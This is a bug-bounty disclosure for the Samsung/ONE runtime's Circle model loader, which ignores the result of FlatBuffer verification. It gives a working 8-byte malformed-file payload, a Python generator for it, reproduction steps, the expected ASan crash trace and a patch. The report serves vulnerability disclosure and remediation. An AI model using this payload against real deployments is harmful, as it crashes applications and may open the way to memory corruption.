samsung-one-circle-verifier-bypass-poc

Huntr Bounty Submission: Buffer Verification Bypass in Samsung/ONE Circle Model Loader

Target: circle (specifically the Samsung/ONE runtime)

Vulnerability: Verification Bypass in BaseLoader<LoaderDomain>::loadModel()

1. Vulnerability Description

A critical vulnerability exists in the Samsung/ONE runtime's model loading logic. In the file runtime/onert/core/src/loader/BaseLoader.h, the loadModel() function invokes LoaderDomain::VerifyModelBuffer() to validate the integrity and structure of the incoming FlatBuffer model. However, the return value of this verification function is entirely ignored.

Following the ignored verification step, the loader proceeds to call LoaderDomain::GetModel(_base) and subsequently dereferences FlatBuffer accessors on the unverified buffer. This lack of enforcement allows a maliciously crafted .circle file with invalid offsets or structures to bypass verification, leading to out-of-bounds reads and potential memory corruption (crash) when the loader attempts to access model metadata or subgraphs.

2. Proof of Concept (PoC)

The PoC involves creating a minimal 8-byte .circle file that contains the required CIR0 identifier but specifies a root offset that points back into the identifier bytes themselves. This structure is invalid and should be caught by the verifier, but because the verifier's result is ignored, the loader attempts to process it as a valid model.

PoC Payload: Malicious Root Offset

00000000: 0400 0000 4349 5230                      ....CIR0

• 0400 0000: Root offset (4), pointing to the identifier.
• 4349 5230: File identifier (CIR0).

Step-by-Step Reproduction

1. Clone the Samsung/ONE Repository:

   git clone --depth 50 https://github.com/Samsung/ONE
   cd ONE
   

2. Generate the Malicious .circle File:

   import struct
   payload = struct.pack("<I", 4) + b"CIR0"
   with open("bad-root-offset.circle", "wb") as f:
       f.write(payload)
   

3. Build the Runtime with ASan (AddressSanitizer): Follow the standard build instructions for Samsung/ONE, ensuring -DASAN_BUILD=ON is enabled to capture the crash.

4. Load the Malicious Model: Use a minimal sample or test tool provided by the ONE runtime to load bad-root-offset.circle.

   ./nnfw_run --model bad-root-offset.circle
   

Expected Result (ASan Output)

The runtime will crash with an out-of-bounds read or similar memory violation. The crash path typically involves:

BaseLoader<Circle LoaderDomain>::loadModel
circle::Model::metadata()
flatbuffers::Table::GetOptionalFieldOffset

3. Impact

The impact of this vulnerability is High:

• Denial of Service (DoS): A maliciously crafted model file can consistently crash the Samsung/ONE runtime, leading to application failure.
• Memory Corruption: The out-of-bounds read caused by dereferencing invalid offsets can potentially be leveraged for more complex memory corruption attacks, depending on the environment and how the leaked data is used.
• Bypass of Security Mechanisms: The failure to enforce model verification undermines the entire security model intended to protect the runtime from untrusted model files.

4. Remediation

The fix is straightforward: the loader must check the return value of VerifyModelBuffer() and abort the loading process if verification fails.

// runtime/onert/core/src/loader/BaseLoader.h

template <typename LoaderDomain> std::unique_ptr<ir::Model> BaseLoader<LoaderDomain>::loadModel()
{
  if (!LoaderDomain::VerifyModelBuffer(*_verifier.get()))
  {
    throw std::runtime_error("Model verification failed");
  }
  _domain_model = LoaderDomain::GetModel(_base);
  // ... rest of the function
}

5. References

• [1] Samsung/ONE GitHub Repository: https://github.com/Samsung/ONE
• [2] Vulnerable Code: runtime/onert/core/src/loader/BaseLoader.h

⚡️👾 by🇭🇷PhonkAlphabet 👾⚡️